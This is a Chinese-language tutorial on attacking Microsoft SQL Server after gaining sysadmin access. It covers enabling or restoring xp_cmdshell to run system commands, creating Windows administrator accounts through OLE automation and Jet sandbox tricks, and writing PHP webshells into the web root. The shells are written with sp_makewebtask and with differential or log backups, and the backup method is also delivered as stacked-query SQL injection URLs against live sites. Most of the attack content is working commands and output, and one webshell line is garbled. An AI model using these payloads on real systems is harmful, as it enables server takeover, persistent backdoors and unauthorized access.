0x01 前言
# 我的SQL Server 版本
1> select @@version
2> go
+--------------------------------------------------------------------------------------+
| |
+--------------------------------------------------------------------------------------+
| Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) |
| Sep 24 2019 13:48:23 |
| Copyright (C) 2019 Microsoft Corporation |
| Developer Edition (64-bit) on Windows 10 Pro 10.0 <X64> (Build 17763: ) (Hypervisor) |
+--------------------------------------------------------------------------------------+
(1 rows affected)
# 当前登录的用户
1> select SUSER_SNAME();
2> go
+----+
| |
+----+
| sa |
+----+
(1 rows affected)
# 判断是否为sa权限
# 返回 1 表示是
# 返回 0 表示不是
1> select IS_SRVROLEMEMBER('sysadmin');
2> go
+---+
| |
+---+
| 1 |
+---+
(1 rows affected)
存储过程(Stored Procedure)实在大型数据库中,一组为了完成特定功能的SQL语句集,存储在数据库中,经过第一次编译后,再次调用不需要再次编译,用户通过指定的存储过程的名字并给出参数(如果该存储过程带有参数)来执行它。
存储过程中大大地减少了业务系统与数据库交互,降低了业务系统与数据库的耦合。
在MSSQL中,存在大量的存储过程,在带来便利的同时,也带来了安全上的威胁,比如说
XP_cmdshell 等存储过程可以被恶意攻击者来执行系统命令、提权。
0x02 删除系统存储过程失败的问题
如果你在高于 SQL Server 2000 的版本 并且 登录用户也是 sa
执行:exec master..sp_dropextendedproc xp_cmdshell
来尝试删除 xp_cmdshell 这个系统存储过程,你会发现他会返回
[Err] 42S02 - [SQL Server]无法对 过程 ‘xp_cmdshell’ 执行 删除,因为它不存在,或者您没有所需的权限。
请注意这不是因为你没权限。
这是因为
在 SQL Server 2000 中,sp_dropextendedproc 可用于删除任何扩展存储过程
在 SQL Server 2005 版本及后面的新版本 sp_dropextendedproc 不会也不能删除系统扩展存储过程,所以你会发现无法删除系统存储过程
0x03 判断是否存在xp_cmdshell存储过程
返回结果
- 为1 表示存在
- 为0 表示不存在
# 表示存在 xp_cmdshell 这个存储过程
1> select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
2> go
+---+
| |
+---+
| 1 |
+---+
(1 rows affected)
# 表示不存在 aaa_test 这个存储过程
1> select count(*) from master.dbo.sysobjects where xtype='x' and name='aaa_test'
2> go
+---+
| |
+---+
| 0 |
+---+
(1 rows affected)
0x04 判断 xp_cmdshell 是否开启
执行 exec sp_configure 查看 xp_cmdshell 状态
1> exec sp_configure
2> go
+------------------------------------+-------------+------------+-------------+-----------+
| name | minimum | maximum |config_value | run_value |
+------------------------------------+-------------+------------+-------------+-----------+
| access check cache bucket count | 0 | 65536 | 0 | 0 |
| access check cache quota | 0 | 2147483647 | 0 | 0 |
| Ad Hoc Distributed Queries | 0 | 1 | 0 | 0 |
| ADR cleaner retry timeout (min) | 0 | 32767 | 0 | 0 |
| ADR Preallocation Factor | 0 | 32767 | 0 | 0 |
| affinity I/O mask | -2147483648 | 2147483647 | 0 | 0 |
| affinity mask | -2147483648 | 2147483647 | 0 | 0 |
| affinity64 I/O mask | -2147483648 | 2147483647 | 0 | 0 |
| affinity64 mask | -2147483648 | 2147483647 | 0 | 0 |
| Agent XPs | 0 | 1 | 0 | 0 |
| allow filesystem enumeration | 0 | 1 | 1 | 1 |
| allow polybase export | 0 | 1 | 0 | 0 |
| allow updates | 0 | 1 | 0 | 0 |
| automatic soft-NUMA disabled | 0 | 1 | 0 | 0 |
| backup checksum default | 0 | 1 | 0 | 0 |
| backup compression default | 0 | 1 | 0 | 0 |
| blocked process threshold (s) | 0 | 86400 | 0 | 0 |
| c2 audit mode | 0 | 1 | 0 | 0 |
| clr enabled | 0 | 1 | 0 | 0 |
| clr strict security | 0 | 1 | 1 | 1 |
| column encryption enclave type | 0 | 2 | 0 | 0 |
| common criteria compliance enabled | 0 | 1 | 0 | 0 |
| contained database authentication | 0 | 1 | 0 | 0 |
| cost threshold for parallelism | 0 | 32767 | 5 | 5 |
| cross db ownership chaining | 0 | 1 | 0 | 0 |
| cursor threshold | -1 | 2147483647 | -1 | -1 |
| Database Mail XPs | 0 | 1 | 0 | 0 |
| default full-text language | 0 | 2147483647 | 2052 | 2052 |
| default language | 0 | 9999 | 30 | 30 |
| default trace enabled | 0 | 1 | 1 | 1 |
| disallow results from triggers | 0 | 1 | 0 | 0 |
| EKM provider enabled | 0 | 1 | 0 | 0 |
| external scripts enabled | 0 | 1 | 0 | 0 |
| filestream access level | 0 | 2 | 0 | 0 |
| fill factor (%) | 0 | 100 | 0 | 0 |
| ft crawl bandwidth (max) | 0 | 32767 | 100 | 100 |
| ft crawl bandwidth (min) | 0 | 32767 | 0 | 0 |
| ft notify bandwidth (max) | 0 | 32767 | 100 | 100 |
| ft notify bandwidth (min) | 0 | 32767 | 0 | 0 |
| hadoop connectivity | 0 | 7 | 0 | 0 |
| index create memory (KB) | 704 | 2147483647 | 0 | 0 |
| in-doubt xact resolution | 0 | 2 | 0 | 0 |
| lightweight pooling | 0 | 1 | 0 | 0 |
| locks | 5000 | 2147483647 | 0 | 0 |
| max degree of parallelism | 0 | 32767 | 2 | 2 |
| max full-text crawl range | 0 | 256 | 4 | 4 |
| max server memory (MB) | 128 | 2147483647 | 2147483647 | 2147483647|
| max text repl size (B) | -1 | 2147483647 | 65536 | 65536 |
| max worker threads | 128 | 65535 | 0 | 0 |
| media retention | 0 | 365 | 0 | 0 |
| min memory per query (KB) | 512 | 2147483647 | 1024 | 1024 |
| min server memory (MB) | 0 | 2147483647 | 0 | 16 |
| nested triggers | 0 | 1 | 1 | 1 |
| network packet size (B) | 512 | 32767 | 4096 | 4096 |
| Ole Automation Procedures | 0 | 1 | 0 | 0 |
| open objects | 0 | 2147483647 | 0 | 0 |
| optimize for ad hoc workloads | 0 | 1 | 0 | 0 |
| PH timeout (s) | 1 | 3600 | 60 | 60 |
| polybase enabled | 0 | 1 | 0 | 0 |
| polybase network encryption | 0 | 1 | 1 | 1 |
| precompute rank | 0 | 1 | 0 | 0 |
| priority boost | 0 | 1 | 0 | 0 |
| query governor cost limit | 0 | 2147483647 | 0 | 0 |
| query wait (s) | -1 | 2147483647 | -1 | -1 |
| recovery interval (min) | 0 | 32767 | 0 | 0 |
| remote access | 0 | 1 | 1 | 1 |
| remote admin connections | 0 | 1 | 0 | 0 |
| remote data archive | 0 | 1 | 0 | 0 |
| remote login timeout (s) | 0 | 2147483647 | 10 | 10 |
| remote proc trans | 0 | 1 | 0 | 0 |
| remote query timeout (s) | 0 | 2147483647 | 600 | 600 |
| Replication XPs | 0 | 1 | 0 | 0 |
| scan for startup procs | 0 | 1 | 0 | 0 |
| server trigger recursion | 0 | 1 | 1 | 1 |
| set working set size | 0 | 1 | 0 | 0 |
| show advanced options | 0 | 1 | 1 | 1 |
| SMO and DMO XPs | 0 | 1 | 1 | 1 |
| tempdb metadata memory-optimized | 0 | 1 | 0 | 0 |
| transform noise words | 0 | 1 | 0 | 0 |
| two digit year cutoff | 1753 | 9999 | 2049 | 2049 |
| user connections | 0 | 32767 | 0 | 0 |
| user options | 0 | 32767 | 0 | 0 |
| xp_cmdshell | 0 | 1 | 1 | 1 |
+------------------------------------+-------------+------------+-------------+-----------+
(83 rows affected)
查看
name 这一列 最后一行 有个 xp_cmdshell
接着在查看
config_value 这一列 如果写着 1 表示开启,如果写着 0 表示关闭
0x05 恢复xp_cmdshell存储过程
例如说你执行语句:exec master..xp_cmdshell 'whoami';
返回了
1> exec master..xp_cmdshell 'whoami';
2> go
42000 - [SQL Server]找不到存储过程 'master..xp_cmdshell'。
那么可能是管理员把 xp_cmdshell 这个存储过程删除了
你可以执行下面的命令进行恢复
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int;
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
如果执行完毕以后出现了这个错误
Query execution failed
原因:
SQL 错误[S1000]:无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
这说明管理员把 xplog70.dll 一起删除了
这种情况下如果说你可以找到上传漏洞/拥有上传权限, 可以上传xplog70.dll 到某个目录
例如上传文件:C:\www\xplog70.dll
接着执行
exec master.dbo.sp_addextendedproc xp_cmdshell,@dllname='C:\www\xplog70.dll'declare @o int;
exec sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll';
0x06 xp_cmdshell 执行命令
# 开启xp_cmdshell过程如下
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
# 关闭xp_cmdshell过程如下
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 0; //关闭xp_cmdshell
RECONFIGURE; //配置生效
执行命令: exec master..xp_cmdshell 'whoami';
1> exec master..xp_cmdshell 'whoami';
2> go
42000 - [SQL Server]SQL Server 阻止了对组件“xp_cmdshell”的
过程“sys.xp_cmdshell”的访问,因为此组件已作为此服务器安全配置的一部分而被关闭。
系统管理员可以通过使用 sp_configure 启用“xp_cmdshell”。
有关启用“xp_cmdshell”的详细信息,请搜索 SQL Server 联机丛书中的“xp_cmdshell”。
如果提示这个, 那么重新开启一下 xp_cmdshell 即可
开启方法
exec sp_configure 'show advanced options', 1; //开启高级选项
RECONFIGURE; //配置生效
exec sp_configure'xp_cmdshell', 1; //开启xp_cmdshell
RECONFIGURE; //配置生效
然后重新执行
1> exec master..xp_cmdshell 'whoami';
2> go
+------------------------+
| output |
+------------------------+
| nt service\mssqlserver |
| NULL |
+------------------------+
(2 rows affected)
0x07 sp_oacreate (添加管理员)
# 开启sp_OACreate
exec sp_configure 'show advanced options', 1;RECONFIGURE;
exec sp_configure 'Ola Automation Procedures' , 1;RECONFIGURE;
# 关闭sp_OACreate
exec sp_configure 'show advanced options',1;RECONFIGURE;
exec sp_configure 'Ole Automation Procedures',0;RECONFIGURE;
# 执行命令
# SQL Server 2000可直接执行添加管理员用户 SQL Server 2000以后的版本不可使用
DECLARE @js INT EXEC sp_oacreate 'ScriptControl' ,@js OUT EXEC sp_OASetProperty @js,
'Language',
'JavaScript' EXEC sp_OAMethod @js,
'Eval',
NULL,
'var o=new ActiveXObject("Shell.Users");z=o.create("hacker");z.changePassword("hacker123","");z.setting("AccountType")=3;'
执行成功以后会 生成一个用户
账号:hacker
密码:hacker123
0x08 sp_makewebtask (写shell)
# SQL Server 2000可新建文件, SQL Server 2000以后都不行
exec sp_makewebtask 'C:\www\test.php',' select ''<?php @eval($?_POST[1]);?>'' ';
0x09 wscript.shell (添加管理员)
# 开启组件
exec sp_configure 'Ole Automation Procedures', 1; RECONFIGURE;
# 关闭组件
exec sp_configure 'Ole Automation Procedures', 0; RECONFIGURE;
# 添加用户
# 返回 1 表示执行成功
# 返回 0 表示执行失败
1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,
'run',
NULL,
'c:\windows\system32\cmd.exe /c net user test-user-1 test-user-1-password /add'
2> go
+---------+
| Column1 |
+---------+
| 1 |
+---------+
(1 rows affected)
# 添加到管理员组
# 返回 1 表示执行成功
# 返回 0 表示执行失败
1> DECLARE @shell INT EXEC sp_oacreate 'wscript.shell' ,@shell OUTPUT EXEC sp_oamethod @shell,
'run',
NULL,
'c:\windows\system32\cmd.exe /c net localgroup administrators test-user-1 /add'
2> go
+---------+
| Column1 |
+---------+
| 1 |
+---------+
(1 rows affected)
0x10 Shell.Application (添加用户)
# SQL Server 2000可执行产生效果
# 命令
DECLARE @o INT EXEC sp_oacreate 'Shell.Application',
@o out EXEC sp_oamethod @o,
'ShellExecute',
NULL,
'cmd.exe',
'cmd /c net user hacker001 zaq1234567 /add',
'c:\windows\system32',
'',
'1';
0x11 沙盒模式(百度抄的)
我没测试成功过,百度抄的
只有Windows xp 与 Windows 2003可用
exec sp_configure 'Ad Hoc Distributed Queries', 1; RECONFIGURE;
# 开启沙盒模式
EXEC master..xp_regwrite 'HKEY_LOCAL_MACHINE',
'SOFTWARE\Microsoft\Jet\4.0\Engines',
'SandBoxMode',
'REG_DWORD',
0;
执行系统命令 (添加用户)
SELECT
*
FROM
OPENROWSET (
'microsoft.jet.oledb.4.0',
';database=c:\windows\system32\ias\ias.mdb',
'select shell("cmd.exe /c net user test4 test4 /add")'
)
0x12 差异备份拿shell
差异备份生成的shell 马子的文件会非常大,这会导致我们经常访问超时,因为体积太大了,所以不是没办法了,就不要使用该方法
0x12.1 本地测试全部命令
在控制台里面能执行命令的话,那就按照这个走一遍就没错了
# 查询当前库名
1> SELECT DB_NAME();
2> go
+-----+
| |
+-----+
| test |
+-----+
(1 rows affected)
# 创建新数据库
# 这样不会破坏人家的数据库,并且人家处理起来也简单
# 语法:create database [新建的数据库名称];
# 执行的命令
1> create database test_db_5;
2> go
(0 rows affected)
# 先进行一次完整备份
# 防止等一下误操作,无法恢复数据
# 语法:backup database [数据库名称] to disk = '备份地址';
# 执行的命令
backup database test_db_5 to disk = 'C:\WWW\test_db_5.bak';
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_db_5.bak 文件
# 差异备份拿shell
# 使用数据库
use test_db_5;
# 创建新表
# 语法:create table [dbo].[test_table] ([cmd] [image]);
# 执行的命令
create table test_table(cmd image);
# 向表中插入数据
# 0x3c3f70687020706870696e666f28293b3f3e = 16进制的<?php phpinfo();?>
insert into test_table(cmd) values(0x3c3f70687020706870696e666f28293b3f3e);
# 进行差异备份
backup database test_db_5 to disk='C:\WWW\test_db_5.php' WITH DIFFERENTIAL,FORMAT;
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_db_5.php 文件
浏览器打开执行即可
例如:
http://127.0.0.1/test_db_5.php
0x12.2 模拟线上执行
一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了
记得先查当前连接的数据库
例如我的 DB_NAME() = test
0x12.2.1 备份表
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a
select * from article where id='1';
backup database test to disk = 'C:\WWW\test_1.bak'; -- a
0x12.2.2 创建新表
web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a
# 实际执行的SQL
select * from article where id='1';create table test_table(cmd image); -- a'
0x12.2.3 向表中插入数据
web语句: http://www.test.com/sql.php?id=1’;INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);— a’
# 实际执行的SQL
SELECT * FROM article WHERE id = '1';
INSERT INTO test_table (cmd) VALUES (0x3c3f70687020706870696e666f28293b3f3e);-- a'
0x12.2.4 进行备份
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk=’C:\WWW\test_1.php’ WITH DIFFERENTIAL,FORMAT; — a’
select * from article where id='1';
backup database test to disk='C:\WWW\test_1.php' WITH DIFFERENTIAL,FORMAT; -- a'
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_1.php 文件
0x12.2.5 访问
上面的步骤全部执行完毕以后
0x13 log备份拿shell
0x13.1 本地测试全部命令
在控制台里面能执行命令的话,那就按照这个走一遍就没错了
LOG备份出来的马子的体积小, 所以备份成功的可能性比较大
# 查询当前库名
1> SELECT DB_NAME();
2> go
+-----+
| |
+-----+
| test |
+-----+
(1 rows affected)
# 创建新数据库
# 这样不会破坏人家的数据库,并且人家处理起来也简单
# 语法:create database [新建的数据库名称];
# 执行的命令
1> create database test_db_8;
2> go
(0 rows affected)
# 先进行一次完整备份
# 防止等一下误操作,无法恢复数据
# 语法:backup database [数据库名称] to disk = '备份地址';
# 执行的命令
backup database test_db_8 to disk = 'C:\WWW\test_db_8.bak';
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_db_8.bak 文件
# log备份拿shell
# 语法
# alter database [数据库名称] set RECOVERY FULL
alter database test_db_8 set RECOVERY FULL
# 使用数据库
use test_db_8;
# 创建新表
# 语法:create table [dbo].[test_table] ([cmd] [image]);
# 执行的命令
create table test_table(cmd image);
# 向表中插入数据
insert into test_table(cmd) values('<?php phpinfo();?>');
# 进行备份
backup log test_db_8 to disk = 'C:\WWW\test_db_8.php'
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_db_8.php 文件
浏览器打开执行即可
例如:
http://127.0.0.1/test_db_8.php
0x13.2 模拟线上执行
一般线上,,都是字符型注入,并且需要能够正常闭合,并且可以执行双语句,那么才可以执行各种shell的操作
如果不能正常闭合 或是 不能执行双语句那就不要看了。执行不了
记得先查当前连接的数据库
例如我的 DB_NAME() = test
0x13.2.1 备份表
web语句: http://www.test.com/sql.php?id=1’;backup database test to disk = ‘C:\WWW\test_1.bak’; — a
select * from article where id='1';
backup database test to disk = 'C:\WWW\test_1.bak'; -- a
0x13.2.2 修改数据库恢复模式
web语句: http://www.test.com/sql.php?id=1’;
# 实际执行的SQL
select * from article where id='1';alter database test set RECOVERY FULL; -- a'
0x13.2.3 创建新表
web语句: http://www.test.com/sql.php?id=1’;create table test_table(cmd image); — a
# 实际执行的SQL
select * from article where id='1';create table test_table(cmd image); -- a'
0x13.2.4 向表中插入数据
web语句: http://www.test.com/sql.php?id=1’;insert into test_table(cmd) values(‘<?php phpinfo();?>’); — a’
# 实际执行的SQL
select * from article where id='1';
insert into test_table(cmd) values('<?php phpinfo();?>'); -- a'
0x13.2.5 进行备份
web语句: http://www.test.com/sql.php?id=1’;backup log test to disk = ‘C:\WWW\test_2.php’; — a’
select * from article where id='1';
backup log test to disk = 'C:\WWW\test_2.php'; -- a'
执行完毕以后
C:\WWW\ 这个目录下面就会生成一个 test_2.php 文件
0x13.2.6 访问
上面的步骤全部执行完毕以后